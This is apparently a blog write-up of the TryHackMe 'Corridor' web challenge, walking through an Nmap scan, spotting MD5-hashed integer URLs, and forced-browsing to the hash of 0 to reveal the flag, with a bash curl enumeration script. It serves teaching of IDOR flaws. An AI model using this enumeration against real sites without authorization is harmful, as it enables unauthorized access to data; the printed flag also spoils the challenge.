July 11, 2026
TryHackMe Corridor CTF Writeup Detailed
Room: Corridor Platform: TryHackMe Difficulty: Easy Primary vulnerability: Insecure Direct Object Reference / predictable resource…

By Devansh Patel
7 min read
Room: Corridor Platform: TryHackMe Difficulty: Easy Primary vulnerability: Insecure Direct Object Reference / predictable resource enumeration Target service: HTTP on TCP port 80 Author: CobraKai
Introduction
Corridor is a short TryHackMe web-security challenge that demonstrates an important access-control concept:
Making an identifier difficult to read does not make the underlying resource secure.
The target application displays a corridor containing several clickable doors. Each door points to a URL containing what appears to be a random 32-character hexadecimal string.
After inspecting the application source, we discover that these values are not random. They are MD5 hashes of small integers.
Because MD5 is deterministic, we can generate additional hashes ourselves. By testing an integer that is not represented by one of the visible doors, we can access an unlinked resource and retrieve the flag.
This room teaches several useful penetration-testing concepts:
- Network reconnaissance with Nmap
- Web application enumeration
- HTML source-code inspection
- Recognition of common hash formats
- MD5 candidate generation
- Predictable identifier testing
- IDOR and forced-browsing concepts
- Boundary-value testing
- Server-side access-control failures
Room Setup
Start the Corridor target machine from the TryHackMe room.
You can use either:
- The browser-based TryHackMe AttackBox
- A local Kali Linux machine connected through the TryHackMe VPN
The target IP address used during this walkthrough was:
10.48.191.12410.48.191.124TryHackMe assigns temporary IP addresses, so your target address will probably be different.
Do not copy the IP address from this writeup directly. Replace it with the IP displayed in your own room.
1. Initial Reconnaissance
The first step in most penetration tests is reconnaissance.
Before interacting deeply with the web application, we need to determine:
- Whether the target is reachable
- Which ports are open
- Which services are listening
- Which software versions are exposed
- Whether the target reveals useful operating-system information
For this, we can use Nmap.
Run:
nmap -sV -A -T4 10.48.191.124nmap -sV -A -T4 10.48.191.124Replace the IP address with your assigned target address.
Understanding the Nmap Options
-sV
The -sV option enables service-version detection.
Instead of only reporting that port 80 is open, Nmap attempts to determine which web server is listening and which version it is running.
-A
The -A option enables several aggressive detection features, including:
- Operating-system detection
- Version detection
- Default NSE script scanning
- Traceroute
Because -A already includes version detection, specifying both -sV and -A is technically redundant. It does not harm the scan, but a cleaner command could also be written as:
nmap -A -T4 10.48.191.124nmap -A -T4 10.48.191.124-T4
The -T4 option selects a faster timing template.
This is appropriate for a stable CTF or lab environment. It is more aggressive and potentially noisier than slower timing profiles.
Nmap Results
The scan produced output similar to the following:
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 2.0.3 (Python 3.10.2)
|_http-title: Corridor
|_http-server-header: Werkzeug/2.0.3 Python/3.10.2PORT STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 2.0.3 (Python 3.10.2)
|_http-title: Corridor
|_http-server-header: Werkzeug/2.0.3 Python/3.10.2
2. Accessing the Web Application
Open a browser and navigate to:
http://10.48.191.124/http://10.48.191.124/The page displays a long corridor containing multiple doors.
When hovering over a door, the browser status bar displays a URL similar to:
http://10.48.191.124/c81e728d9d4c2f636f067f89cc14862chttp://10.48.191.124/c81e728d9d4c2f636f067f89cc14862cThe path contains a string such as:
c81e728d9d4c2f636f067f89cc14862cc81e728d9d4c2f636f067f89cc14862cThis is a significant clue.
The value:
- Is exactly 32 characters long
- Contains only hexadecimal characters3. Inspecting the HTML Source
Source-code inspection should be one of the first steps when analyzing a web application.
The browser only displays the rendered interface. The source may reveal:
- Hidden form fields
- Internal links
- JavaScript files
- API endpoints
- Object identifiers
- Developer comments
- Client-side validation
- Resource names not visible in the interface
Open the source by using one of the following methods:
Ctrl+UCtrl+UOr enter:
view-source:http://10.48.191.124/view-source:http://10.48.191.124/The HTML contains an image map.
- Contains numerical digits
A 32-character hexadecimal string frequently represents an MD5 digest.
However, recognizing the format is only a hypothesis. We still need to verify what is being hashed.
How the Image Map Works
The following element displays the corridor image:
<img src="/static/img/corridor.png" usemap="#image-map"><img src="/static/img/corridor.png" usemap="#image-map">The usemap attribute connects the image to this map:
<map name="image-map"><map name="image-map">Each <area> element defines a clickable section of the image.
For example:
<area
href="c4ca4238a0b923820dcc509a6f75849b"
coords="257,893,258,332,325,351,325,860"
shape="poly"
><area
href="c4ca4238a0b923820dcc509a6f75849b"
coords="257,893,258,332,325,351,325,860"
shape="poly"
>The coords and shape attributes define the clickable region.
They are only part of the visual interface. They do not provide any security.
The critical field is:
href="c4ca4238a0b923820dcc509a6f75849b"href="c4ca4238a0b923820dcc509a6f75849b"That value becomes the URL path when the corresponding door is clicked.
4. Recognizing the MD5 Pattern
The first few paths are:
c4ca4238a0b923820dcc509a6f75849b
c81e728d9d4c2f636f067f89cc14862c
eccbc87e4b5ce2fe28308fd9f2a7baf3
a87ff679a2f3e71d9181a67b7542122c
e4da3b7fbbce2345d7772b0674a318d5c4ca4238a0b923820dcc509a6f75849b
c81e728d9d4c2f636f067f89cc14862c
eccbc87e4b5ce2fe28308fd9f2a7baf3
a87ff679a2f3e71d9181a67b7542122c
e4da3b7fbbce2345d7772b0674a318d5These are well-known MD5 values:
MD5("1") = c4ca4238a0b923820dcc509a6f75849b
MD5("2") = c81e728d9d4c2f636f067f89cc14862c
MD5("3") = eccbc87e4b5ce2fe28308fd9f2a7baf3
MD5("4") = a87ff679a2f3e71d9181a67b7542122c
MD5("5") = e4da3b7fbbce2345d7772b0674a318d5MD5("1") = c4ca4238a0b923820dcc509a6f75849b
MD5("2") = c81e728d9d4c2f636f067f89cc14862c
MD5("3") = eccbc87e4b5ce2fe28308fd9f2a7baf3
MD5("4") = a87ff679a2f3e71d9181a67b7542122c
MD5("5") = e4da3b7fbbce2345d7772b0674a318d5The application has thirteen visible doors, and each door corresponds to the MD5 hash of an integer from 1 through 13.
Complete Door Mapping
1c4ca4238a0b923820dcc509a6f75849b
2c81e728d9d4c2f636f067f89cc14862c
3eccbc87e4b5ce2fe28308fd9f2a7baf3
4a87ff679a2f3e71d9181a67b7542122c
5e4da3b7fbbce2345d7772b0674a318d5
61679091c5a880faf6fb5e6087eb1b2dc
78f14e45fceea167a5a36dedd4bea2543
8c9f0f895fb98ab9159f51fd0297e236d
945c48cce2e2d7fbdea1afc51c7c6ad26
10d3d9446802a44259755d38e6d163e820
116512bd43d9caa6e02c990b0a82652dca
12c20ad4d76fe97759aa27a0c99bff6710
13c51ce410c124a10e0db5e4b97fc2af39
This confirms that the supposedly random resource identifiers are generated from a tiny and completely predictable input space.
5. Understanding MD5 Correctly
MD5 is a cryptographic hash function.
It accepts input data and produces a 128-bit digest, commonly represented as 32 hexadecimal characters.
For example:
Input: 13
Output: c51ce410c124a10e0db5e4b97fc2af39Input: 13
Output: c51ce410c124a10e0db5e4b97fc2af39Hashing Is Not Encryption
Encryption is designed to be reversible with the correct key.
Hashing is designed as a one-way transformation. There is no MD5 decryption key.
Websites that claim to "decrypt MD5" are normally doing one of the following:
- Searching a precomputed hash database
- Performing a dictionary attack
- Testing likely inputs
- Brute-forcing a small keyspace
- Comparing the digest against rainbow tables
In this challenge, the input values are only small integers. There is no need to break MD5.
We can simply calculate:
MD5("0")
MD5("1")
MD5("2")
MD5("3")
...MD5("0")
MD5("1")
MD5("2")
MD5("3")
...Then compare the generated values with the application routes.
Verifying Door 13
The final visible door uses:
c51ce410c124a10e0db5e4b97fc2af39c51ce410c124a10e0db5e4b97fc2af39A hash lookup identifies the original value as:
1313
6. Testing a Normal Door
The center door points to:
8f14e45fceea167a5a36dedd4bea25438f14e45fceea167a5a36dedd4bea2543This is:
MD5("7")MD5("7")Opening the route produces an empty room:
http://10.48.191.124/8f14e45fceea167a5a36dedd4bea2543http://10.48.191.124/8f14e45fceea167a5a36dedd4bea2543
7. Identifying the Vulnerability
The vulnerability is a predictable direct object reference combined with missing access-control enforcement.
This is commonly described as:
- IDOR
- Forced browsing
- Predictable resource enumeration
- Broken object-level authorization
- Security through obscurity
What Is an IDOR?
IDOR stands for Insecure Direct Object Reference.
A direct object reference occurs when a request contains a value identifying a server-side object.
Examples include:
/profile/25
/invoice/1002
/download?file=report7.pdf
/account?id=92/profile/25
/invoice/1002
/download?file=report7.pdf
/account?id=92In this room, the object reference is:
/<md5-hash>/<md5-hash>A direct reference becomes insecure when the server does not verify whether the requester should be able to access the selected object.
For example, suppose a user can access:
/invoice/1001/invoice/1001Changing the URL to:
/invoice/1002/invoice/1002should not automatically provide access to someone else's invoice.
The server must check authorization for every requested object.
Why Hashing the Identifier Does Not Fix IDOR
A developer might attempt to hide an object number by hashing it:
77becomes:
8f14e45fceea167a5a36dedd4bea25438f14e45fceea167a5a36dedd4bea2543This changes how the identifier looks, but it does not add authorization.
The object is still selected directly by user-controlled input.
Because the inputs are small integers, the hashes are easy to reproduce.
Even replacing MD5 with SHA-256 would not solve the issue.
For example:
SHA256("0")
SHA256("1")
SHA256("2")SHA256("0")
SHA256("1")
SHA256("2")can still be generated instantly.
A stronger hashing algorithm would produce longer identifiers, but the authorization failure would remain.
8. Boundary-Value Testing
The visible doors correspond to integers:
1 through 131 through 13When an application exposes a sequential range, useful tests include:
0
14
15
-10
14
15
-1Other possible variations include:
00
01
001
+1
1.000
01
001
+1
1.0The most interesting value is 0.
Why Test Zero?
Zero frequently reveals hidden application behavior because developers often use it as:
- The first index in zero-based arrays
- A default record
- A sentinel value
- A placeholder object
- A debug route
- A special administrative object
- An unlinked internal resource
The user interface only displays doors 1 through 13, but that does not prove that the server only contains those objects.
We therefore calculate:
MD5("0")MD5("0")9. Generating the MD5 Hash of Zero
Using Linux:
printf '0' | md5sumprintf '0' | md5sumOutput:
cfcd208495d565ef66e7dff9f98764da -cfcd208495d565ef66e7dff9f98764da -Using Python:
python3 -c 'import hashlib; print(hashlib.md5(b"0").hexdigest())'python3 -c 'import hashlib; print(hashlib.md5(b"0").hexdigest())'Output:
cfcd208495d565ef66e7dff9f98764dacfcd208495d565ef66e7dff9f98764daUsing CyberChef also produces the same digest.
The hidden route should therefore be:
http://10.48.191.124/cfcd208495d565ef66e7dff9f98764dahttp://10.48.191.124/cfcd208495d565ef66e7dff9f98764da10. Retrieving the Flag
Enter the generated route into the browser:
http://10.48.191.124/cfcd208495d565ef66e7dff9f98764dahttp://10.48.191.124/cfcd208495d565ef66e7dff9f98764daThe application returns a different page containing the flag.
The flag is:
flag{2477ef02448ad9156661ac40a6b8862e}flag{2477ef02448ad9156661ac40a6b8862e}10. Command-Line Enumeration
The room can be solved manually, but automating candidate generation makes the methodology repeatable.
Bash Enumeration Script
#!/usr/bin/env bash
TARGET="10.48.191.124"
for value in $(seq 0 20); do
hash=$(printf '%s' "$value" | md5sum | awk '{print $1}')
url="http://$TARGET/$hash"
echo "[*] Testing value=$value hash=$hash"
response=$(curl -fsS "$url" 2>/dev/null || true)
if printf '%s' "$response" | grep -qiE 'flag\{[^}]+\}'; then
echo
echo "[+] Interesting response found"
echo "[+] Value: $value"
echo "[+] Hash: $hash"
echo "[+] URL: $url"
printf '%s\n' "$response" | grep -oEi 'flag\{[^}]+\}'
break
fi
done#!/usr/bin/env bash
TARGET="10.48.191.124"
for value in $(seq 0 20); do
hash=$(printf '%s' "$value" | md5sum | awk '{print $1}')
url="http://$TARGET/$hash"
echo "[*] Testing value=$value hash=$hash"
response=$(curl -fsS "$url" 2>/dev/null || true)
if printf '%s' "$response" | grep -qiE 'flag\{[^}]+\}'; then
echo
echo "[+] Interesting response found"
echo "[+] Value: $value"
echo "[+] Hash: $hash"
echo "[+] URL: $url"
printf '%s\n' "$response" | grep -oEi 'flag\{[^}]+\}'
break
fi
doneMake the script executable:
chmod +x corridor.shchmod +x corridor.shRun it:
./corridor.sh./corridor.shExpected result:
[*] Testing value=0 hash=cfcd208495d565ef66e7dff9f98764da
[+] Interesting response found
[+] Value: 0
[+] Hash: cfcd208495d565ef66e7dff9f98764da
[+] URL: http://10.48.191.124/cfcd208495d565ef66e7dff9f98764da
flag{2477ef02448ad9156661ac40a6b8862e}[*] Testing value=0 hash=cfcd208495d565ef66e7dff9f98764da
[+] Interesting response found
[+] Value: 0
[+] Hash: cfcd208495d565ef66e7dff9f98764da
[+] URL: http://10.48.191.124/cfcd208495d565ef66e7dff9f98764da
flag{2477ef02448ad9156661ac40a6b8862e}